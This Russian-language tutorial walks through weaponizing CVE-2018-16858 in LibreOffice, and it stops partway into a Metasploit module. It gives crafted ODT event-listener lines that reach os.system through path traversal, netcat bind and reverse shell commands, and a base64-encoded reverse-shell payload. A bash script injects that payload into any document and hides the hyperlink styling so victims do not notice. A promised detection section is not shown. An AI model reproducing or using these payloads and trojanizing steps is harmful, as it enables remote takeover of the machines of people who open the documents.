
CVE-2018-16858 реализация эксплойта
В этой статье будет показано, как использовать простую ошибку в программе для открытия бэкдора в системе, использующей эту программу.
Рассматриваемая уязвимость определена как CVE-2018-16858 и относится к офисному пакету LibreOffice. Эта ошибка позволяет в специально сформированном файле выполнить обход каталогов, что даёт возможность выполнить код Python. Данное выполнение привязывается или запускается при действии пользователя с документом и происходит без каких-либо предупреждений пользователя о выполнении макросов.
Данный документ разделён на пять частей. В первой части будет объяснена сама ошибка, как распаковать OpenDocument, как изменить его структуру для выполнения нужного локального скрипта и как снова собрать документ для его выполнения и тестирования.
Во второй части мы увидим, как использовать локальное выполнение для запуска любой команды в системе, в которой открыт документ, и создадим бэкдор, позволяющий выполнять удалённые команды.
В третьей части мы автоматизируем процесс создания документов, которые создают бэкдоры с прямой или обратной связью, определяя IP-адрес и порт, к которым необходимо подключиться.
Четвёртая часть будет посвящена интеграции уязвимости в систему Metasploit, чтобы с помощью msfconsole можно было создавать документы, совместимые с методом эксплуатации Metasploit. Это позволит выбирать в качестве выполняемого кода любую нагрузку, определённую в наборе Metasploit.
Пятая и последняя часть покажет, как интегрировать в антивирусную систему процесс обнаружения, позволяющий идентифицировать заражённые файлы LibreOffice с помощью описанной выше процедуры. Будет использоваться формат обнаружения антивируса ClamAV, что позволит лучше понять процесс обнаружения, используемый антивирусами, и тем самым облегчить нашу защиту от подобных угроз.
Весь процесс будет выполняться для систем Linux на основе Debian, но описанное здесь может быть применено и к другим системам, так как всё подробно описано. И сама уязвимость, и концептуальные доказательства оригинальной CVE были разработаны для версии LibreOffice под Windows, поэтому всегда можно обратиться к этому источнику, чтобы использовать описанное в данном документе аналогично для версий Windows.
LibreOffice (и, по генетическим причинам, Apache OpenOffice) имеет уязвимость в версиях, предшествующих последней (6.1.5), которая позволяет выполнять код Python, расположенный в любом месте компьютера, без предупреждения пользователя о выполнении макроса.
Чтобы увидеть эту уязвимость, мы можем создать новый документ в текстовом редакторе, написать в нём что-нибудь, выделить это и создать гиперссылку. Для создания гиперссылки в тексте необходимо выбрать меню Insert и в нём опцию Hyperlink (также можно выделить текст и затем использовать комбинацию клавиш Ctrl+K).
Появится следующее диалоговое окно:

Чтобы определить гиперссылку, нужно вставить URL и нажать Apply. Кроме опции URL, в нижней части диалогового окна, где можно прочитать Further Settings, у нас будет кнопка со значком Play, которая также позволит нам привязать события к определённым действиям. Именно здесь мы определим, что хотим выполнить код Python в качестве действия.
При нажатии этой кнопки откроется новое диалоговое окно:

В нём мы сможем выбрать одно из трёх базовых событий и скрипт, который хотим использовать. В качестве события выберем Mouse Over Object, а в качестве скрипта из семейства LibreOffice Macros выберем Python Samples. Внутри этой опции существует только один скрипт по умолчанию с именем TableSample, который мы и выберем.
После этого, если навести мышь на текст, который мы превратили в гиперссылку, мы увидим, что открывается окно с документом, содержащим таблицу. Это означает, что мы связали событие наведения мыши на гиперссылку со скриптом на Python. Наша цель — заменить это действие на другое, которое нам нужно.
Для этого сохраним созданный документ и выйдем из LibreOffice, чтобы выполнить в консоли ряд команд.
Формат документа ODT — это не что иное, как zip-архив с набором файлов внутри (формат DOCX от Microsoft Office очень похож). Поэтому первым делом мы распакуем файл с помощью распаковщика zip-архивов.
В нашем случае мы будем использовать утилиту командной строки unzip, поэтому просто выполним следующую команду:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
После этого мы увидим файлы, которые на самом деле находятся внутри файла OpenDocument. Наиболее важными для нас будут файл mimetypes, файл content.xml и файл styles.xml.
Файл mimetype должен быть первым в списке файлов zip-архива, поэтому при повторной упаковке файлов мы должны заставить наш архиватор сделать так, иначе файл не будет интерпретирован как OpenDocument.
Файл content.xml содержит текст документа, который мы написали, с некоторыми тегами, указывающими, в каком формате должен отображаться текст.
Например, в следующей строке:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
Можно увидеть пример абзаца текста, написанного с определённым стилем, заданным атрибутом text:style-name. Текст абзаца находится между открывающим тегом text:p и закрывающим тегом </text:p>.
Скрипт, связанный с гиперссылкой, которую мы создали, также можно увидеть довольно просто. Если мы поищем в тексте content.xml слово python или имя загруженного нами скрипта Python, в нашем случае TableSample.py, то легко обнаружим строку, в которой нужно изменить содержимое:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
В этой строке находится путь к скрипту Python, который будет загружен при наведении мыши на гиперссылку с именем TableSample.py, и функция, которая будет выполнена из кода Python, в данном случае createTable.
Проблема LibreOffice заключается в том, что при чтении документов значение кода Python для загрузки не очищается должным образом. Программа не очищает символы ../ из пути к файлу, поэтому можно получить доступ к любому файлу в системе, в которой открыт текстовый документ. Кроме того, если этот файл является файлом с кодом Python, мы сможем выполнить любую функцию, определённую в этом файле.
В качестве первой концептуальной проверки мы сделаем так, чтобы при наведении на гиперссылку запускался калькулятор, в нашем случае программа galculator открывает калькулятор. Нам нужно создать программу на Python, которая позволяет выполнить команду внутри функции, в том стиле, как ожидает выполнение LibreOffice. Для этого создадим следующий код по пути /tmp/prueba.py:
import os;
def ejecuta():
os.system("galculator");
С помощью этого небольшого кода мы достигнем нашей цели. Теперь нужно добавить как файл Python /tmp/prueba.py, так и имя функции ejecuta в вызов, который делается в файле odt. Таким образом, строка, вызывающая Python, будет выглядеть следующим образом:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Как видно, мы добавили большое количество ../, чтобы гарантировать подъём до корня файловой системы. А оттуда добавили конкретный путь к нашему файлу Python (prueba.py). После $ добавлено слово ejecuta — это функция, которая запускает калькулятор.
После этого снова упакуем наш файл odt, не забыв поместить mimetype первым файлом. Если мы используем утилиту zip, просто выполним следующую команду в каталоге, где мы распаковали наш odt и который содержит вредоносный content.xml:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
После этого откроем файл с помощью LibreOffice и увидим, что программа калькулятора запускается, когда мы наводим мышь на гиперссылку.
Этот первый шаг требует создания кода Python с функцией, которую можно выполнить без параметров. Это легко реализовать, но может быть сложно использовать в правдоподобном или воспроизводимом окружении для реального пентеста.
Начиная с версии 6.1 LibreOffice, появилась возможность передавать параметры в вызовы функций Python. Это обеспечивает большую свободу написания скриптов для тех, кто хочет легально использовать макросы этой программы, но также даёт золотую возможность тем, кто ищет лазейки в программном обеспечении.
Как мы уже говорили и, по сути, использовали, для выполнения системного вызова с целью запуска любой команды используется класс os и функция system. Именно это мы использовали для вызова калькулятора, передав в качестве параметра строку galculator. Прелесть классов Python в том, что мы можем узнать, где они находятся, и, по сути, чтобы воспользоваться возможностью передачи параметров функциям, можно найти расположение этого класса. Ранее мы выполнили функцию программы Python, которая находилась в /tmp/ и называлась prueba.py. Теперь мы будем напрямую вызывать функцию system, которая находится в программе Python os.py, являющейся одной из системных библиотек. Например, в современных системах Linux мы обычно находим её по пути /usr/lib/python3.5/os.py, поэтому заменим предыдущий путь к коду /tmp/prueba.py на этот новый путь. Теперь функцию ejecuta заменим на функцию system, и, поскольку мы можем передавать параметры этой функции, мы сможем выполнить программу galculator или любую другую напрямую, без необходимости создавать на компьютере, где будет открыт документ LibreOffice, файл Python для выполнения.
Там, где раньше у нас была такая строка в файле content.xml:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Теперь у нас будет просто следующая:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Способ упаковки файла как документа LibreOffice будет точно таким же. Теперь результатом будет то, что просто при открытии файла odt, без необходимости размещать программу Python по какому-либо конкретному пути. Однако для этого требуется, чтобы версия LibreOffice, в которой открывается документ, была не ниже версии 6.1.
Как только файл откроется и мы наведём мышь на ссылку в документе, откроется приложение калькулятора, как и в предыдущем примере.
Команды, выполняемые при открытии документа, выполняются на локальной машине, поэтому одно из возможных применений такого выполнения — открытие бэкдора, который позволит нам выполнять команды удалённо из других мест.
Для создания очень простого бэкдора мы будем использовать команду nc и создадим fifo, чтобы на том же порту можно было отправлять команды на компьютер и получать результат их выполнения. В первом подходе к уязвимости, который мы использовали для выполнения команды, нам пришлось написать программу на Python. Идея в том, чтобы не загружать никакого дополнительного кода на компьютер, который мы хотим эксплуатировать, поэтому для создания бэкдора будут использоваться системные команды.
Команда nc — это системная команда, позволяющая открыть порт на локальной системе или подключиться к порту удалённой системы таким образом, что то, что принимается через это соединение, выводится в стандартный вывод, а то, что вводится в стандартный вывод, отправляется через соединение на другую машину. Мы можем использовать конвейеры |, чтобы вывод одной выполняемой команды направлялся в другую команду, поэтому, объединив команду nc с командой /bin/bash, мы получим простое решение для выполнения удалённых команд. Если мы выполним nc ip порт | /bin/bash, то то, что поступает через соединение, установленное командой nc, будет передано команде /bin/bash, которая запускает оболочку, и, таким образом, будут выполняться все команды, отправленные нам с компьютера, к которому мы подключились. Однако стандартный вывод этих команд не возвращается команде nc, поэтому вывод не будет виден. Можно перенаправить стандартный вывод команды /bin/bash на новую команду nc, использующую другой порт, но тогда потребуется два порта для отправки команд и получения их вывода, что несколько громоздко.
Простое решение — использовать fifo. Команда mkfifo создаёт файл, который можно одновременно записывать и читать. Поэтому мы создадим файл fifo, который будем использовать как вход для команды nc, чтобы всё, что записывается в этот файл, отправлялось через соединение, и будем использовать его как вывод для команды /bin/bash, чтобы вывод всего, что выполняется через эту команду, записывался в файл fifo.
Последовательность команд для создания бэкдора, действующего как сервер в любой терминале Linux, будет следующей:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p порт < /tmp/lalala | /bin/bash > /tmp/lalala;
Чтобы подключиться к этой машине с любого другого компьютера, нужно выполнить следующее:
user@host:~/$ nc ip порт
Где ip — IP-адрес машины с бэкдором, а порт — то же значение, которое мы указали при запуске nc на машине, где мы запустили бэкдор.
Если из-за проблем с брандмауэрами в сети целевой машины мы не можем использовать её как сервер, можно сделать это обратным способом, чтобы машина с бэкдором подключалась к нашему серверу. Для этого сначала на нашей машине выполним следующую команду:
user@host:~/$ nc -l -p порт
А на машине с бэкдором следующую последовательность команд, очень похожую на предыдущую:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip порт < /tmp/lalala | /bin/bash > /tmp/lalala;
IP-адрес, который должен появиться в этой последней команде, — это IP-адрес нашей машины. Очевидно, что удалённая машина должна иметь доступ к этому IP-адресу, чтобы установить соединение, с которого мы будем отправлять команды для выполнения в удалённой системе.
Таким образом, на компьютере с бэкдором, чтобы поместить команду в одну строку, можно выполнить либо эту строку:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p порт < /tmp/lalala | /bin/bash > /tmp/lalala;
либо эту строку:
user@host:~/$ mkfifo /tmp/lalala;nc ip порт < /tmp/lalala | /bin/bash > /tmp/lalala;
Поняв это, если мы добьёмся того, чтобы через файл LibreOffice выполнялся один из этих бэкдоров, мы сможем получить удалённый контроль над компьютером, открывшим документ.
Очевидно, что если мы изменим файл Python, который мы поместили в tmp, и вместо запуска калькулятора запустим бэкдор, то получим автоматическое выполнение.
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip порт < /tmp/lalala | /bin/bash > /tmp/lalala;");
Следуя этой линии создания бэкдоров, теперь можно реализовать это в офисном документе. Способ сделать это относительно прост, так как нужно просто заменить команду калькулятора Linux на команду, позволяющую открыть бэкдор.
Бэкдор, который будет выполняться вместо команды калькулятора, будет следующим:
mkfifo /tmp/lalala; nc IP ПОРТ < /tmp/lalala | /bin/bash > /tmp/lalala;
Это бэкдор обратного соединения, поэтому для его работы и получения оболочки необходимо открыть сокет на хосте с IP-адресом IP и портом ПОРТ. Необходимо заменить эти значения на IP и порт, открытый на нашем хосте.
Существует проблема с этой командой: LibreOffice не допускает использование некоторых специальных символов, таких как < или |, поэтому мы должны каким-то образом обойти использование этих символов в нашем эксплойте.
Вероятно, простой вариант — использовать base64. Base64 установлен по умолчанию почти во всех Linux-машинах и позволяет как кодировать, так и декодировать с помощью этого алгоритма. Поэтому мы можем закодировать то, что хотим выполнить, в base64, перенаправить это в файл, который затем будет декодирован и выполнен.
Будет использоваться способ реализации бэкдора, который может быть несколько грубоватым, но довольно прозрачным и понятным. Впоследствии, с той же идеей, можно усложнить всё как угодно, чтобы всё было более компактным. Поскольку это руководство создано в образовательных целях, будут использоваться более грубые формулы выполнения, но с очень простыми командами и исполнением.
Если выполнить в терминале следующее, мы получим версию полезной нагрузки в base64:
echo "mkfifo /tmp/lalala; nc IP ПОРТ < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
Результат будет примерно таким:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
Теперь у нас нет никаких символов, которые могут вызвать проблемы при выполнении через эксплойт. Но если поместить это в команду system, мы ничего не выполним, однако мы можем перенаправить содержимое с помощью echo в файл. Таким образом, у нас будет файл, который после декодирования можно выполнить. Поэтому мы создадим файл, который затем декодируем с помощью команды base64, но с параметром, позволяющим декодировать и перенаправить это в другой файл. Теперь именно этот файл мы и выполним. Сначала разобьём каждую команду, объясняя, что мы делаем, чтобы затем использовать их все внутри вызова system эксплойта:
Сначала создадим файл base64 на машине, которая открывает документ LibreOffice, в её каталоге /tmp/ с именем lalala.base64.
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Поскольку этот закодированный файл нам ничем не помогает, мы его декодируем, направив вывод в файл, который затем хотим выполнить в той же директории, но названный **lalala.sh**.
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
У этого файла нет прав на выполнение, поэтому нам нужно дать ему эти права.
chmod 777 /tmp/lalala.sh
Затем мы должны выполнить сгенерированный bash-файл.
/tmp/lalala.sh
И, наконец, удалить все промежуточные файлы, созданные на компьютере.
rm /tmp/lalala.sh
rm /tmp/lalala.base64
Внутри вызова функции system в нашем эксплойте будет последовательность всех этих команд, разделенных ; , благодаря чему они будут выполняться одна за другой, в итоге мы получим следующую команду или полезную нагрузку, которую нужно поместить внутрь вызова system в нашем contents.xml вместо калькулятора. В конечном итоге, там, где у нас было следующее содержимое, которое позволяло запускать калькулятор:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Мы поместим следующее содержимое:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
Запаковав документ LibreOffice обратно, мы получим документ, который при наведении мыши выполнит наш бэкдор.
Перед открытием документа, как уже упоминалось, мы должны заранее открыть порт на прослушивание, и как только бэкдор подключится к нашему хосту, мы сможем выполнять команды на удаленной системе, где был открыт документ LibreOffice.
В качестве следующего шага, и как предварительный этап создания модуля metasploit, необходимо автоматизировать и обобщить процесс. Это помогает проверить, ясны ли вносимые изменения, чтобы можно было модуляризировать и конкретно описать проблемы, которые нужно решить для создания универсальной программы, позволяющей заражать документы LibreOffice выбранной полезной нагрузкой. В этом разделе мы напишем небольшой скрипт, который позволит заражать файлы LibreOffice бэкдором.
Скрипту потребуется три параметра: документ Office, IP-адрес, к которому должен подключиться компьютер после открытия документа Office, а также порт для подключения. После запуска скрипта мы должны получить документ LibreOffice со встроенным бэкдором. Поскольку нам нужно распаковать zip-архив, потребуется, чтобы директория, в которой выполняется наш скрипт, была чистой, поэтому мы должны проверить это внутри скрипта.
Чтобы язык не был проблемой, мы будем использовать bash-скрипт, который позволит создать, возможно, несколько грязный скрипт, но который будет вызывать программы GNU для выполнения основной работы. Всю эту работу, которая автоматизируется программами GNU, затем придется либо запрограммировать вручную, либо использовать библиотеки, помогающие в процессе, при создании модуля metasploit.
Скрипт начнется с требования, чтобы файл, который нужно троянизировать, существовал, в противном случае мы сообщим пользователю, что файл не существует:
if [ -e $1 ]; then
#здесь будет код программы.
else
echo "The odt file does not exists!!";
fi;
Конструкция if выполняет действие, указанное внутри, когда выполняется условие, заключенное в квадратные скобки. В bash условие -e возвращает true, если существует файл с указанным после него именем. Вместо фиксированного имени мы использовали $1, что в bash соответствует первому параметру, введенному пользователем при запуске скрипта. В нашем случае первый параметр указывает файл .odt, который нужно троянизировать.
Мы поставили условие, чтобы в директории, где выполняется команда, было пусто, это просто для упрощения работы, поэтому мы должны проверить это перед продолжением первой части программы. На этот раз мы заставим скрипт выполнить команду ls -a и проверим, что в рабочей директории существуют только два файла: соответствующие директории . и ... Это будет достигнуто с помощью следующего фрагмента кода:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
В этом фрагменте кода инициализируется переменная I значением 0. Затем с помощью цикла for перебираются все элементы вывода команды ls -a, и на каждой итерации цикла переменная fichero будет менять значение на имя каждого элемента, в данном случае на имя каждого файла в рабочей директории. В bash заключение команды в специальные кавычки ` позволяет выполнить команду и использовать ее вывод на экран для возврата в переменную или для использования в циклах, как в нашем случае. Внутри цикла просто увеличивается значение переменной I на 1. В bash-скрипте переменные, которые находятся справа от знака равенства и из которых нужно получить значение, всегда должны предваряться знаком доллара $. Поскольку также нужно выполнить математическую операцию, следует обернуть операцию $I+1 в $(( и )), что указывает интерпретатору bash, что мы находимся в математическом режиме и должны выполнять операции с тем, что внутри.
После цикла переменная I должна быть равна 2, если мы находимся в пустой директории, или больше 2, если в директории есть какой-либо файл. Поэтому с помощью условия мы проверим, не превышает ли переменная 2, с намерением остановить программу и предупредить пользователя. Снова используем if, но на этот раз используем сравнение "больше", которое в bash пишется как -gt от английского "greater than". Как видно во фрагменте кода, если значение больше 2, пользователь уведомляется об ошибке, в противном случае выполнение продолжается.
В качестве последней проверки будет проверено, что пользователь ввел 3 параметра. Это делается простой проверкой, пуста ли переменная $3. Эта переменная указывает, что был введен третий аргумент, поэтому если она пуста, это означает, что команда, выполненная пользователем, не содержит трех входных аргументов. Сравнивается просто с пустым символом, и в случае пустоты пользователю сообщается, что он ошибся при запуске скрипта. Код этого снова довольно прост:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#продолжаем программу.
fi;
После этих проверок начнется выполнение команд, которые позволят провести троянизацию документа. Начинается с выполнения команды unzip для распаковки файла LibreOffice. В случае успеха процесс продолжится, иначе остановится.
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
Первая строка этого раздела просто распаковывает файл, указанный пользователем. В условии проверяется, успешно ли выполнилась команда unzip, с помощью кода возврата программы. Этот код возврата возвращается всеми программами, запускаемыми через консоль, и по стандарту любое значение, отличное от 0, указывает на сбой программы. Способ получения этого кода ошибки - через переменную $?, которая содержит код возврата последней выполненной команды.
В условии мы просто проверяем, равен ли он 0, и если нет, уведомляем пользователя сообщением. После этого уведомления мы выполняем exit, что позволяет остановить выполнение скрипта в этой точке, чтобы избежать выполнения следующих строк.
Напомним, что после распаковки файла нужно изменить две вещи в содержимом zip: файл content.xml, куда вставляется сам троян, и файл styles.xml, в котором изменяется формат гиперссылок, чтобы пользователь, открывающий файл, не заподозрил проблему.
Полезная нагрузка, которую мы будем вставлять, упомянута в предыдущем разделе, она должна быть в base64, поэтому мы сохраним эту полезную нагрузку в переменную. Кроме того, мы переименуем файлы, которые нужно изменить, чтобы иметь возможность прочитать их и изменить в новых файлах с исходными именами. Таким образом, файлы с исходными именами на самом деле будут измененными файлами:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
Единственное изменение по сравнению с исходной полезной нагрузкой, описанной в предыдущем разделе, заключается в том, что там, где указывались IP-адрес и порт, используются 2-й и 3-й аргументы, введенные пользователем. Как видно, выполняется операция, аналогичная той, что использовалась в for для подсчета количества файлов в директории, но на этот раз вывод команды не идет в переменную цикла for, а сохраняется в переменную, названную PAYLOAD. Как видно, также выполняется переименование указанных файлов с помощью команды mv.
Для изменения содержимого contents.xml, теперь называемого contents.xml.NEW, можно использовать команду sed. Sed - это базовая команда из набора команд Unix, которая позволяет, среди прочего, заменять определенные регулярные выражения на другие. Изменение, которое нужно сделать в файле content.xml.NEW, заключается в поиске всех записей вида:
<text:p text:style-name="Standard">
Это не что иное, как тег, используемый LibreOffice для определения текста. На самом деле, для определения любого текста достаточно, чтобы он начинался с <text:p и заканчивался > чтобы добавить прямо перед ним ссылку, обеспечивающую выполнение, вместе с PAYLOAD, созданным ранее. Это будет выглядеть так:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
Где PAYLOAD заменяется на код в base64, вычисленный с выбранным IP-адресом и портом. Кроме того, после этой вставки должен остаться нетронутым ранее упомянутый тег текстового абзаца.
Кроме того, нужно указать завершение дополнительно добавленного тега, поэтому во всех закрывающих тегах текста </text:p> нужно заменить на </text:a></text:p>.
Для этой цели используется команда sed, которая позволяет модифицировать все, что передается через стандартный ввод. Формат команды следующий:
sed s/"поиск"/"замена"/g
Буква s говорит sed, что мы хотим выполнить замену, первая строка, обозначенная в примере как поиск, - это то, что команда будет изменять в том, что передается через стандартный ввод. В примере команды строка замена - это то, на что sed заменит то, что нужно найти. Буква g, указанная после двух слов, позволяет сделать замену не только для первого слова, удовлетворяющего критерию поиска, но и для всех слов в вводе, которые ему удовлетворяют. Таким образом, если в команду, как она написана, передать на экран следующую фразу:
поиск sed позволяет искать и заменять на что-то.
Команда sed вернет следующую фразу:
замена sed позволяет заменить и заменять на что-то.
Кроме того, sed поддерживает регулярные выражения, поэтому символы *, ., ^, [ и ] имеют особые значения. Также во втором параметре sed, определяющем замену, если ввести символ &, он позволит вывести на экран шаблон поиска. Не входит в задачи этого руководства вдаваться во все тонкости sed, поэтому просто будут описаны выполняемые команды и их функция. Будут использованы конвейеры |, которые позволяют выводу одной команды стать вводом следующей.
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
В этой команде файл content.xml.NEW передается двум последовательным выполнениям команды sed. В первом sed вставляется часть полезной нагрузки, ищется строка <text:p, за которой следует неопределенное количество любых символов, не являющихся >. Также требуется, чтобы символ перед > не был закрывающим тегом. Это регулярное выражение выглядит следующим образом:
<text:p [^>]*[^\/]>
Найденная строка будет вставлена в вывод команды sed, так как мы вставляем символ & в вывод, за которым следует тег ссылки, в которой мы также назначаем действие: при наведении мыши выполнить нужный скрипт python. В основном это копия используемого тега, в которую вставлен PAYLOAD, сгенерированный с помощью bash-переменной $PAYLOAD.
Результат этого изменения передается второму sed, который ищет завершающий тег текста </text:p> и в выводе использует тот же тег с предшествующим закрывающим тегом ссылки, так что при нахождении </text:p> вывод будет </text:a></text:p>.
После обоих изменений файл content.xml.NEW превращается в нужный файл, поэтому вывод после выполнения sed направляется в выходной файл content.xml.
После этого временный файл content.xml.NEW больше не нужен, поэтому его удаляют с помощью команды rm.
rm content.xml.NEW
Также необходимо внести изменение, чтобы сгенерированные в содержимом гиперссылки не отображались как таковые при открытии файла. Для этого нужно убрать подчеркивание, которое по умолчанию есть у гиперссылок. В файле styles.xml LibreOffice хранит стили в формате xml, которые можно изменить, изменив текст.
Стиль по умолчанию для гиперссылок в LibreOffice называется Internet_20_link, поэтому первым делом нужно изменить имя стиля по умолчанию, назвав его так, чтобы LibreOffice не связывал определенный формат с этим стилем, который принудительно добавляет подчеркивание. Просто ко всем стилям с таким именем будет добавлена 2 в конце, чтобы этот стиль не использовался в документе, если он определен. С другой стороны, будет определен новый стиль с точно таким же именем, но в котором будет указано, что подчеркивания нет. Формат xml этого стиля следующий:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
Самый простой способ определить стиль и узнать, как он кодируется в формате LibreOffice, вероятно, создать новый стиль, определить его по своему усмотрению, затем сохранить и распаковать документ, чтобы посмотреть на него в файле styles.xml. В данном случае, как видно, прочитав немного атрибуты тега, в стиле определено только то, что подчеркивания нет и нет никакого особого цвета.
Поскольку заранее неизвестно, как будет организован файл и где следует разместить стиль внутри файла стилей, мы снова прибегнем к некоторому упрощению, тоже грубому, но эффективному. Будут найдены закрывающие теги стиля </style:style> и в конец будет добавлено предложенное определение стиля. Неизвестно, в какой именно позиции файла окажется тег, но это позволит не определять более сложные правила для того, чтобы стиль гиперссылок не имел подчеркивания, чтобы открывающий файл не мог заранее обнаружить ошибку.
Как и в предыдущем случае, эти изменения будут выполнены с помощью команды sed, которая будет выглядеть следующим образом:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
Случай аналогичен предыдущему, выполняется описанное выше. Содержимое файла styles.xml.new выводится на экран, и в первом sed имя стиля гиперссылок изменяется добавлением 2 в конце. Во втором sed добавляется стиль, определенный вручную, и после изменения все выводится в файл styles.xml, который будет сохранен, а файл styles.xml.NEW удаляется с помощью команды rm.
Последним шагом будет упаковка всего в новый zip-файл с помощью команды linux zip. Снова можно проверить успешность выполнения команды с помощью bash-переменной $?, которая вернет 0 в случае успешного выполнения.
Код этой последней части будет следующим:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
Окончательный код полного скрипта будет выглядеть примерно так:## Генерация модуля Metasploit
В этом разделе будет создан модуль metasploit, который позволит сделать то же самое, что и в предыдущем разделе, но с возможностью, с одной стороны, интегрировать его в набор metasploit, а с другой — иметь возможность использовать полезные нагрузки, встроенные в этот набор. Следует учитывать, что этот модуль будет генерировать файл типа .odt, и необходимо будет поставить handler для подключения к хосту, на котором будет открыт документ Office.
Модули metasploit обычно пишутся на языке Ruby, и используются библиотеки и классы Ruby, а также собственные классы metasploit для упрощения интеграции с остальными частями набора.
Создаваемый модуль будет основан на эксплуатации уязвимости, для которой потребуется использовать полезную нагрузку (payload) — то, что нужно выполнить. Поэтому наш модуль будет наследовать от класса metasploit Msf::Exploit. Среди особенностей этого класса — возможность определить полезную нагрузку для выполнения при использовании модуля.
Будем работать с файлами, которые будут открываться и закрываться, а также с zip-файлами, поэтому также будут использоваться библиотеки fileutils и zip для распаковки файла .odt и изменения содержимого файлов content.xml и styles.xml.
Заголовок модуля начнется со следующих строк:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
Теперь начнем определение класса, который мы создаём, и в котором, в первую очередь, нужно определить различные атрибуты модуля. Они будут помещены в функцию инициализации, которая просто вызовет родительский класс super для инициализации атрибутов класса Exploit. В этой части не нужно программировать никакой логики, только определить переменные и значения.
Что касается определения атрибутов, то определяемыми атрибутами будут следующие:
Инициализация этих атрибутов заключается просто в присвоении значений; в модуле это будет выглядеть следующим образом:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
